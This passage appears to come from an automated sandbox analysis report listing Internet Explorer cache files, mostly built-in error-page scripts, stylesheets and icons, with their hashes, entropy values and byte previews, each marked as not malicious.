Entropy (8bit):	7.249606135668305
Encrypted:	false
SSDEEP:	12:6v/7/2QeZ7HVJ6o6yiq1p4tSQfAVFcm6R2HkZuU4fB4CsY4NJlrvMezoW2uONroc:GeZ6oLiqkbDuU4fqzTrvMeBBlE
MD5:	C4F558C4C8B56858F15C09037CD6625A
SHA1:	EE497CC061D6A7A59BB66DEFEA65F9A8145BA240
SHA-256:	39E7DE847C9F731EAA72338AD9053217B957859DE27B50B6474EC42971530781
SHA-512:	D60353D3FBEA2992D96795BA30B20727B022B9164B2094B922921D33CA7CE1634713693AC191F8F5708954544F7648F4840BCD5B62CB6A032EF292A8B0E52A44
Malicious:	false
Preview:	.PNG........IHDR...............ex....PLTE....W..W..W..W..W..W..W..W..W..W..W..W..W.U..............W..W.!Y.#Z.$\.'].<r.=s.P..Q..Q..U..o..p..r..x..z..~.............................................b.............................................................................................................................................................................................................$..s...7tRNS.a.o(,.s....e......q*...................................F.Z....IDATx^%.S..@.C..jm.mTk...m.?\|;.y..S....F.t...,.......D.>..LpX=f.M...H4........=...=..xy.[h..7....7.....<.q.kH....#+....I..z.....'.ksC...X<.+..J>....%3BmqaV...h..Z._.:<.Y_jG...vN^.<>.Nu.u@.....M....?...1D.m~)s8..&....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\errorPageStrings[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	4720
Entropy (8bit):	5.164796203267696
Encrypted:	false
SSDEEP:	96:z9UUiqRxqH211CUIRgRLnRynjZbRXkRPRk6C87Apsat/5/+mhPcF+5g+mOQb7A9o:JsUOG1yNlX6ZzWpHOWLia16Cb7bk
MD5:	D65EC06F21C379C87040B83CC1ABAC6B
SHA1:	208D0A0BB775661758394BE7E4AFB18357E46C8B
SHA-256:	A1270E90CEA31B46432EC44731BF4400D22B38EB2855326BF934FE8F1B169A4F
SHA-512:	8A166D26B49A5D95AEA49BC649E5EA58786A2191F4D2ADAC6F5FBB7523940CE4482D6A2502AA870A931224F215CB2010A8C9B99A2C1820150E4D365CAB28299E
Malicious:	false
IE Cache URL:	res://ieframe.dll/errorPageStrings.js
Preview:	.//Split out for localization...var L_GOBACK_TEXT = "Go back to the previous page.";..var L_REFRESH_TEXT = "Refresh the page.";..var L_MOREINFO_TEXT = "More information";..var L_OFFLINE_USERS_TEXT = "For offline users";..var L_RELOAD_TEXT = "Retype the address.";..var L_HIDE_HOTKEYS_TEXT = "Hide tab shortcuts";..var L_SHOW_HOTKEYS_TEXT = "Show more tab shortcuts";..var L_CONNECTION_OFF_TEXT = "You are not connected to the Internet. Check your Internet connection.";..var L_CONNECTION_ON_TEXT = "It appears you are connected to the Internet, but you might want to try to reconnect to the Internet.";....//used by invalidcert.js and hstscerterror.js..var L_CertUnknownCA_TEXT = "Your PC doesn\u2019t trust this website\u2019s security certificate.";..var L_CertExpired_TEXT = "The website\u2019s security certificate is not yet valid or has expired.";..var L_CertCNMismatch_TEXT = "The hostname in the website\u2019s security certificate differs from the website you are trying to visit.";..var L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\httpErrorPagesScripts[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12105
Entropy (8bit):	5.451485481468043
Encrypted:	false
SSDEEP:	192:x20iniOciwd1BtvjrG8tAGGGVWnvyJVUrUiki3ayimi5ezLCvJG1gwm3z:xPini/i+1Btvjy815ZVUwiki3ayimi5f
MD5:	9234071287E637F85D721463C488704C
SHA1:	CCA09B1E0FBA38BA29D3972ED8DCECEFDEF8C152
SHA-256:	65CC039890C7CEB927CE40F6F199D74E49B8058C3F8A6E22E8F916AD90EA8649
SHA-512:	87D691987E7A2F69AD8605F35F94241AB7E68AD4F55AD384F1F0D40DC59FFD1432C758123661EE39443D624C881B01DCD228A67AFB8700FE5E66FC794A6C0384
Malicious:	false
Preview:	...function isExternalUrlSafeForNavigation(urlStr)..{..var regEx = new RegExp("^(http(s?)\|ftp\|file)://", "i");..return regEx.exec(urlStr);..}..function clickRefresh()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..window.location.replace(location.substring(poundIndex+1));..}..}..function navCancelInit()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..var bElement = document.createElement("A");..bElement.innerText = L_REFRESH_TEXT;..bElement.href = 'javascript:clickRefresh()';..navCancelContainer.appendChild(bElement);..}..else..{..var textNode = document.createTextNode(L_RELOAD_TEXT);..navCancelContainer.appendChild(textNode);..}..}..function getDisplayValue(elem

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\http_404[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	6495
Entropy (8bit):	3.8998802417135856
Encrypted:	false
SSDEEP:	48:up4d0yV4VkBXvLutC5N9J/1a5TI7kZ3GUXn3GFa7K083GJehBu01kptk7KwyBwpM:uKp6yN9JaKktZX36a7x05hwW7RM
MD5:	F65C729DC2D457B7A1093813F1253192
SHA1:	5006C9B50108CF582BE308411B157574E5A893FC
SHA-256:	B82BFB6FA37FD5D56AC7C00536F150C0F244C81F1FC2D4FEFBBDC5E175C71B4F
SHA-512:	717AFF18F105F342103D36270D642CC17BD9921FF0DBC87E3E3C2D897F490F4ECFAB29CF998D6D99C4951C3EABB356FE759C3483A33704CE9FCC1F546EBCBBC7
Malicious:	false
Preview:	.<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">....<html dir="ltr">.... <head>.. <link rel="stylesheet" type="text/css" href="ErrorPageTemplate.css">.... <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.... <title>HTTP 404 Not Found</title>.... <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="javascript:initHomepage(); expandCollapse('infoBlockID', true); initGoBack(); initMoreInfo('infoBlockID');">.... <table width="730" cellpadding="0" cellspacing="0" border="0">.... Error title -->.. <tr>.. <td id="infoIconAlign" width="60" align="left" valign="top" rowspan="2">.. <img src="info_48.png" id="infoIcon" alt="Info icon">..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\info_48[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 47 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4113
Entropy (8bit):	7.9370830126943375
Encrypted:	false
SSDEEP:	96:WNTJL8szf79M8FUjE39KJoUUuJPnvmKacs6Uq7qDMj1XPL:WNrzFoQSJPnvzs6rL
MD5:	5565250FCC163AA3A79F0B746416CE69
SHA1:	B97CC66471FCDEE07D0EE36C7FB03F342C231F8F
SHA-256:	51129C6C98A82EA491F89857C31146ECEC14C4AF184517450A7A20C699C84859
SHA-512:	E60EA153B0FECE4D311769391D3B763B14B9A140105A36A13DAD23C2906735EAAB9092236DEB8C68EF078E8864D6E288BEF7EF1731C1E9F1AD9B0170B95AC134
Malicious:	false
Preview:	.PNG........IHDR.../...0.......#.....IDATx^...pUU..{....KB........!....F......jp.Q.......Vg.F..m.Q....{...,m.@.56D...&$d!.<..}....s..K9.....{............[./<..T..I.I..JR)).9.k.N.%.E.W^}....Po..............X..;.=.P......./...+...9./..s.....9..\|........7v.`..V.....-^.$S[[[......K..z......3..3....5 ...0.."/n/.c...&.{.ht..?....A..I{.n.....\|....t......N}..%.v...:.E..i....`....a.k.mg.LX..fcFU.fO-..YEfd.}...~."......}l$....^.re..'^X..}.?.^U.G..... .30...X......f[.l0.P`..KC...[..[..6....~..i..Q.\|;x..T ..........s.5...n+.0..;...H#.2..#.M..m[^3x&E.Ya..\K..{[..M..g...yf0..~....M.]7..ZZZ:..a.O.G64]....9..l[..a....N,,.h......5...f.y...}...BX{.G^...?.c.......s^..P.(..G...t.0.:.X.DCs.....]vf...py).........x..>-..Be.a...G...Y!...z...g.{....d.s.o.....%.x......R.W.....Z.b,....!..6Ub....U.qY(/v..m.a...4.`Qr\.E.G..a)..t..e.j.W........C<.1.....c..l1w....]3%....tR;.,..3..-.NW.5...t..H..h..D..b......M....)B..2J...)..o..m..M.t....wn./....+Wv....xkg....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\ErrorPageTemplate[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2168
Entropy (8bit):	5.207912016937144
Encrypted:	false
SSDEEP:	24:5+j5xU5k5N0ndgvoyeP0yyiyQCDr3nowMVworDtX3orKxWxDnCMA0da+hieyuSQK:5Q5K5k5pvFehWrrarrZIrHd3FIQfOS6
MD5:	F4FE1CB77E758E1BA56B8A8EC20417C5
SHA1:	F4EDA06901EDB98633A686B11D02F4925F827BF0
SHA-256:	8D018639281B33DA8EB3CE0B21D11E1D414E59024C3689F92BE8904EB5779B5F
SHA-512:	62514AB345B6648C5442200A8E9530DFB88A0355E262069E0A694289C39A4A1C06C6143E5961074BFAC219949102A416C09733F24E8468984B96843DC222B436
Malicious:	false
Preview:	.body..{...font-family: "Segoe UI", "verdana", "arial";...background-image: url(background_gradient.jpg);...background-repeat: repeat-x;...background-color: #E8EAEF;...margin-top: 20px;...margin-left: 20px;...color: #575757;..}....body.securityError..{...font-family: "Segoe UI", "verdana" , "Arial";...background-image: url(background_gradient_red.jpg);...background-repeat: repeat-x;...background-color: #E8EAEF;...margin-top: 20px;...margin-left: 20px;..}....body.tabInfo..{...background-image: none;...background-color: #F4F4F4;..}.. ..a..{...color: rgb(19,112,171);.font-size: 1em;...font-weight: normal;...text-decoration: none;...margin-left: 0px;...vertical-align: top;..}....a:link, a:visited..{...color: rgb(19,112,171);...text-decoration: none;...vertical-align: top;..}....a:hover..{...color: rgb(7,74,229);...text-decoration: underline;..}....p..{...font-size: 0.9em;..}.....h1 /* used for Title */..{...color: #4465A2;...font-size: 1.1em;...font-weight: normal;...vertical-align

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\ErrorPageTemplate[2] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2168
Entropy (8bit):	5.207912016937144
Encrypted:	false
SSDEEP:	24:5+j5xU5k5N0ndgvoyeP0yyiyQCDr3nowMVworDtX3orKxWxDnCMA0da+hieyuSQK:5Q5K5k5pvFehWrrarrZIrHd3FIQfOS6
MD5:	F4FE1CB77E758E1BA56B8A8EC20417C5
SHA1:	F4EDA06901EDB98633A686B11D02F4925F827BF0
SHA-256:	8D018639281B33DA8EB3CE0B21D11E1D414E59024C3689F92BE8904EB5779B5F
SHA-512:	62514AB345B6648C5442200A8E9530DFB88A0355E262069E0A694289C39A4A1C06C6143E5961074BFAC219949102A416C09733F24E8468984B96843DC222B436
Malicious:	false
Preview:	.body..{...font-family: "Segoe UI", "verdana", "arial";...background-image: url(background_gradient.jpg);...background-repeat: repeat-x;...background-color: #E8EAEF;...margin-top: 20px;...margin-left: 20px;...color: #575757;..}....body.securityError..{...font-family: "Segoe UI", "verdana" , "Arial";...background-image: url(background_gradient_red.jpg);...background-repeat: repeat-x;...background-color: #E8EAEF;...margin-top: 20px;...margin-left: 20px;..}....body.tabInfo..{...background-image: none;...background-color: #F4F4F4;..}.. ..a..{...color: rgb(19,112,171);.font-size: 1em;...font-weight: normal;...text-decoration: none;...margin-left: 0px;...vertical-align: top;..}....a:link, a:visited..{...color: rgb(19,112,171);...text-decoration: none;...vertical-align: top;..}....a:hover..{...color: rgb(7,74,229);...text-decoration: underline;..}....p..{...font-size: 0.9em;..}.....h1 /* used for Title */..{...color: #4465A2;...font-size: 1.1em;...font-weight: normal;...vertical-align

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\background_gradient[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 1x800, frames 3
Category:	dropped
Size (bytes):	453
Entropy (8bit):	5.019973044227213
Encrypted:	false
SSDEEP:	6:3llVuiPjlXJYhg5suRd8PImMo23C/kHrJ8yA/NIeYoWg78C/vTFvbKLAh3:V/XPYhiPRd8j7+9LoIrobtHTdbKi
MD5:	20F0110ED5E4E0D5384A496E4880139B
SHA1:	51F5FC61D8BF19100DF0F8AADAA57FCD9C086255
SHA-256:	1471693BE91E53C2640FE7BAEECBC624530B088444222D93F2815DFCE1865D5B
SHA-512:	5F52C117E346111D99D3B642926139178A80B9EC03147C00E27F07AAB47FE38E9319FE983444F3E0E36DEF1E86DD7C56C25E44B14EFDC3F13B45EDEDA064DB5A
Malicious:	false
Preview:	......JFIF.....d.d......Ducky.......P......Adobe.d................................................................................................................................................. ...............W..............................................................Qa.................................?......%.....x......s...Z.......j.T.wz.6...X.@... V.3tM...P@.u.%...m..D.25...T...F.........p......A..........BP..qD.(.........ntH.@......h?..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\bullet[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	447
Entropy (8bit):	7.304718288205936
Encrypted:	false
SSDEEP:	12:6v/71Cyt/JNTWxGdr+kZDWO7+4dKIv0b1GKuxu+R:/yBJNTqsSk9BTwE05su+R
MD5:	26F971D87CA00E23BD2D064524AEF838
SHA1:	7440BEFF2F4F8FABC9315608A13BF26CABAD27D9
SHA-256:	1D8E5FD3C1FD384C0A7507E7283C7FE8F65015E521B84569132A7EABEDC9D41D
SHA-512:	C62EB51BE301BB96C80539D66A73CD17CA2021D5D816233853A37DB72E04050271E581CC99652F3D8469B390003CA6C62DAD2A9D57164C620B7777AE99AA1B15
Malicious:	false
IE Cache URL:	res://ieframe.dll/bullet.png
Preview:	.PNG........IHDR...............ex....PLTE...(EkFRp&@e&@e)Af)AgANjBNjDNjDNj2Vv-Xz-Y{3XyC\}E_.2j.3l.8p.7q.;j.;l.Zj.\l.5o.7q.<..aw.<..dz.E...........1..@.7..~.....9..:.....A..B..E..9..:..a..c..b..g.#M.%O.#r.#s.%y.2..4..+..-..?..@..;..p..s...G..H..M.........z`....#tRNS................................../,....mIDATx^..C..`.......S....y'...05...\|..k.X......*`.F.K....JQ..u.<.}.. ..[U..m....'r%.......yn.`.7F..).5..b..rX.T.....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\down[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 15 x 15, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.249606135668305
Encrypted:	false
SSDEEP:	12:6v/7/2QeZ7HVJ6o6yiq1p4tSQfAVFcm6R2HkZuU4fB4CsY4NJlrvMezoW2uONroc:GeZ6oLiqkbDuU4fqzTrvMeBBlE
MD5:	C4F558C4C8B56858F15C09037CD6625A
SHA1:	EE497CC061D6A7A59BB66DEFEA65F9A8145BA240
SHA-256:	39E7DE847C9F731EAA72338AD9053217B957859DE27B50B6474EC42971530781
SHA-512:	D60353D3FBEA2992D96795BA30B20727B022B9164B2094B922921D33CA7CE1634713693AC191F8F5708954544F7648F4840BCD5B62CB6A032EF292A8B0E52A44
Malicious:	false
Preview:	.PNG........IHDR...............ex....PLTE....W..W..W..W..W..W..W..W..W..W..W..W..W.U..............W..W.!Y.#Z.$\.'].<r.=s.P..Q..Q..U..o..p..r..x..z..~.............................................b.............................................................................................................................................................................................................$..s...7tRNS.a.o(,.s....e......q*...................................F.Z....IDATx^%.S..@.C..jm.mTk...m.?\|;.y..S....F.t...,.......D.>..LpX=f.M...H4........=...=..xy.[h..7....7.....<.q.kH....#+....I..z.....'.ksC...X<.+..J>....%3BmqaV...h..Z._.:<.Y_jG...vN^.<>.Nu.u@.....M....?...1D.m~)s8..&....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\errorPageStrings[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	5.164796203267696
Encrypted:	false
SSDEEP:	96:z9UUiqRxqH211CUIRgRLnRynjZbRXkRPRk6C87Apsat/5/+mhPcF+5g+mOQb7A9o:JsUOG1yNlX6ZzWpHOWLia16Cb7bk
MD5:	D65EC06F21C379C87040B83CC1ABAC6B
SHA1:	208D0A0BB775661758394BE7E4AFB18357E46C8B
SHA-256:	A1270E90CEA31B46432EC44731BF4400D22B38EB2855326BF934FE8F1B169A4F
SHA-512:	8A166D26B49A5D95AEA49BC649E5EA58786A2191F4D2ADAC6F5FBB7523940CE4482D6A2502AA870A931224F215CB2010A8C9B99A2C1820150E4D365CAB28299E
Malicious:	false
Preview:	.//Split out for localization...var L_GOBACK_TEXT = "Go back to the previous page.";..var L_REFRESH_TEXT = "Refresh the page.";..var L_MOREINFO_TEXT = "More information";..var L_OFFLINE_USERS_TEXT = "For offline users";..var L_RELOAD_TEXT = "Retype the address.";..var L_HIDE_HOTKEYS_TEXT = "Hide tab shortcuts";..var L_SHOW_HOTKEYS_TEXT = "Show more tab shortcuts";..var L_CONNECTION_OFF_TEXT = "You are not connected to the Internet. Check your Internet connection.";..var L_CONNECTION_ON_TEXT = "It appears you are connected to the Internet, but you might want to try to reconnect to the Internet.";....//used by invalidcert.js and hstscerterror.js..var L_CertUnknownCA_TEXT = "Your PC doesn\u2019t trust this website\u2019s security certificate.";..var L_CertExpired_TEXT = "The website\u2019s security certificate is not yet valid or has expired.";..var L_CertCNMismatch_TEXT = "The hostname in the website\u2019s security certificate differs from the website you are trying to visit.";..var L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\errorPageStrings[2] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4720
Entropy (8bit):	5.164796203267696
Encrypted:	false
SSDEEP:	96:z9UUiqRxqH211CUIRgRLnRynjZbRXkRPRk6C87Apsat/5/+mhPcF+5g+mOQb7A9o:JsUOG1yNlX6ZzWpHOWLia16Cb7bk
MD5:	D65EC06F21C379C87040B83CC1ABAC6B
SHA1:	208D0A0BB775661758394BE7E4AFB18357E46C8B
SHA-256:	A1270E90CEA31B46432EC44731BF4400D22B38EB2855326BF934FE8F1B169A4F
SHA-512:	8A166D26B49A5D95AEA49BC649E5EA58786A2191F4D2ADAC6F5FBB7523940CE4482D6A2502AA870A931224F215CB2010A8C9B99A2C1820150E4D365CAB28299E
Malicious:	false
Preview:	.//Split out for localization...var L_GOBACK_TEXT = "Go back to the previous page.";..var L_REFRESH_TEXT = "Refresh the page.";..var L_MOREINFO_TEXT = "More information";..var L_OFFLINE_USERS_TEXT = "For offline users";..var L_RELOAD_TEXT = "Retype the address.";..var L_HIDE_HOTKEYS_TEXT = "Hide tab shortcuts";..var L_SHOW_HOTKEYS_TEXT = "Show more tab shortcuts";..var L_CONNECTION_OFF_TEXT = "You are not connected to the Internet. Check your Internet connection.";..var L_CONNECTION_ON_TEXT = "It appears you are connected to the Internet, but you might want to try to reconnect to the Internet.";....//used by invalidcert.js and hstscerterror.js..var L_CertUnknownCA_TEXT = "Your PC doesn\u2019t trust this website\u2019s security certificate.";..var L_CertExpired_TEXT = "The website\u2019s security certificate is not yet valid or has expired.";..var L_CertCNMismatch_TEXT = "The hostname in the website\u2019s security certificate differs from the website you are trying to visit.";..var L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\httpErrorPagesScripts[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12105
Entropy (8bit):	5.451485481468043
Encrypted:	false
SSDEEP:	192:x20iniOciwd1BtvjrG8tAGGGVWnvyJVUrUiki3ayimi5ezLCvJG1gwm3z:xPini/i+1Btvjy815ZVUwiki3ayimi5f
MD5:	9234071287E637F85D721463C488704C
SHA1:	CCA09B1E0FBA38BA29D3972ED8DCECEFDEF8C152
SHA-256:	65CC039890C7CEB927CE40F6F199D74E49B8058C3F8A6E22E8F916AD90EA8649
SHA-512:	87D691987E7A2F69AD8605F35F94241AB7E68AD4F55AD384F1F0D40DC59FFD1432C758123661EE39443D624C881B01DCD228A67AFB8700FE5E66FC794A6C0384
Malicious:	false
Preview:	...function isExternalUrlSafeForNavigation(urlStr)..{..var regEx = new RegExp("^(http(s?)\|ftp\|file)://", "i");..return regEx.exec(urlStr);..}..function clickRefresh()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..window.location.replace(location.substring(poundIndex+1));..}..}..function navCancelInit()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..var bElement = document.createElement("A");..bElement.innerText = L_REFRESH_TEXT;..bElement.href = 'javascript:clickRefresh()';..navCancelContainer.appendChild(bElement);..}..else..{..var textNode = document.createTextNode(L_RELOAD_TEXT);..navCancelContainer.appendChild(textNode);..}..}..function getDisplayValue(elem

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\httpErrorPagesScripts[2] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12105
Entropy (8bit):	5.451485481468043
Encrypted:	false
SSDEEP:	192:x20iniOciwd1BtvjrG8tAGGGVWnvyJVUrUiki3ayimi5ezLCvJG1gwm3z:xPini/i+1Btvjy815ZVUwiki3ayimi5f
MD5:	9234071287E637F85D721463C488704C
SHA1:	CCA09B1E0FBA38BA29D3972ED8DCECEFDEF8C152
SHA-256:	65CC039890C7CEB927CE40F6F199D74E49B8058C3F8A6E22E8F916AD90EA8649
SHA-512:	87D691987E7A2F69AD8605F35F94241AB7E68AD4F55AD384F1F0D40DC59FFD1432C758123661EE39443D624C881B01DCD228A67AFB8700FE5E66FC794A6C0384
Malicious:	false
Preview:	...function isExternalUrlSafeForNavigation(urlStr)..{..var regEx = new RegExp("^(http(s?)\|ftp\|file)://", "i");..return regEx.exec(urlStr);..}..function clickRefresh()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..window.location.replace(location.substring(poundIndex+1));..}..}..function navCancelInit()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..var bElement = document.createElement("A");..bElement.innerText = L_REFRESH_TEXT;..bElement.href = 'javascript:clickRefresh()';..navCancelContainer.appendChild(bElement);..}..else..{..var textNode = document.createTextNode(L_RELOAD_TEXT);..navCancelContainer.appendChild(textNode);..}..}..function getDisplayValue(elem

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\http_404[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	downloaded
Size (bytes):	6495
Entropy (8bit):	3.8998802417135856
Encrypted:	false
SSDEEP:	48:up4d0yV4VkBXvLutC5N9J/1a5TI7kZ3GUXn3GFa7K083GJehBu01kptk7KwyBwpM:uKp6yN9JaKktZX36a7x05hwW7RM
MD5:	F65C729DC2D457B7A1093813F1253192
SHA1:	5006C9B50108CF582BE308411B157574E5A893FC
SHA-256:	B82BFB6FA37FD5D56AC7C00536F150C0F244C81F1FC2D4FEFBBDC5E175C71B4F
SHA-512:	717AFF18F105F342103D36270D642CC17BD9921FF0DBC87E3E3C2D897F490F4ECFAB29CF998D6D99C4951C3EABB356FE759C3483A33704CE9FCC1F546EBCBBC7
Malicious:	false
IE Cache URL:	res://ieframe.dll/http_404.htm
Preview:	.<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">....<html dir="ltr">.... <head>.. <link rel="stylesheet" type="text/css" href="ErrorPageTemplate.css">.... <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.... <title>HTTP 404 Not Found</title>.... <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="javascript:initHomepage(); expandCollapse('infoBlockID', true); initGoBack(); initMoreInfo('infoBlockID');">.... <table width="730" cellpadding="0" cellspacing="0" border="0">.... Error title -->.. <tr>.. <td id="infoIconAlign" width="60" align="left" valign="top" rowspan="2">.. <img src="info_48.png" id="infoIcon" alt="Info icon">..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\http_404[2] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	6495
Entropy (8bit):	3.8998802417135856
Encrypted:	false
SSDEEP:	48:up4d0yV4VkBXvLutC5N9J/1a5TI7kZ3GUXn3GFa7K083GJehBu01kptk7KwyBwpM:uKp6yN9JaKktZX36a7x05hwW7RM
MD5:	F65C729DC2D457B7A1093813F1253192
SHA1:	5006C9B50108CF582BE308411B157574E5A893FC
SHA-256:	B82BFB6FA37FD5D56AC7C00536F150C0F244C81F1FC2D4FEFBBDC5E175C71B4F
SHA-512:	717AFF18F105F342103D36270D642CC17BD9921FF0DBC87E3E3C2D897F490F4ECFAB29CF998D6D99C4951C3EABB356FE759C3483A33704CE9FCC1F546EBCBBC7
Malicious:	false
Preview:	.<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">....<html dir="ltr">.... <head>.. <link rel="stylesheet" type="text/css" href="ErrorPageTemplate.css">.... <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.... <title>HTTP 404 Not Found</title>.... <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="javascript:initHomepage(); expandCollapse('infoBlockID', true); initGoBack(); initMoreInfo('infoBlockID');">.... <table width="730" cellpadding="0" cellspacing="0" border="0">.... Error title -->.. <tr>.. <td id="infoIconAlign" width="60" align="left" valign="top" rowspan="2">.. <img src="info_48.png" id="infoIcon" alt="Info icon">..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\info_48[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 47 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4113
Entropy (8bit):	7.9370830126943375
Encrypted:	false
SSDEEP:	96:WNTJL8szf79M8FUjE39KJoUUuJPnvmKacs6Uq7qDMj1XPL:WNrzFoQSJPnvzs6rL
MD5:	5565250FCC163AA3A79F0B746416CE69
SHA1:	B97CC66471FCDEE07D0EE36C7FB03F342C231F8F
SHA-256:	51129C6C98A82EA491F89857C31146ECEC14C4AF184517450A7A20C699C84859
SHA-512:	E60EA153B0FECE4D311769391D3B763B14B9A140105A36A13DAD23C2906735EAAB9092236DEB8C68EF078E8864D6E288BEF7EF1731C1E9F1AD9B0170B95AC134
Malicious:	false
Preview:	.PNG........IHDR.../...0.......#.....IDATx^...pUU..{....KB........!....F......jp.Q.......Vg.F..m.Q....{...,m.@.56D...&$d!.<..}....s..K9.....{............[./<..T..I.I..JR)).9.k.N.%.E.W^}....Po..............X..;.=.P......./...+...9./..s.....9..\|........7v.`..V.....-^.$S[[[......K..z......3..3....5 ...0.."/n/.c...&.{.ht..?....A..I{.n.....\|....t......N}..%.v...:.E..i....`....a.k.mg.LX..fcFU.fO-..YEfd.}...~."......}l$....^.re..'^X..}.?.^U.G..... .30...X......f[.l0.P`..KC...[..[..6....~..i..Q.\|;x..T 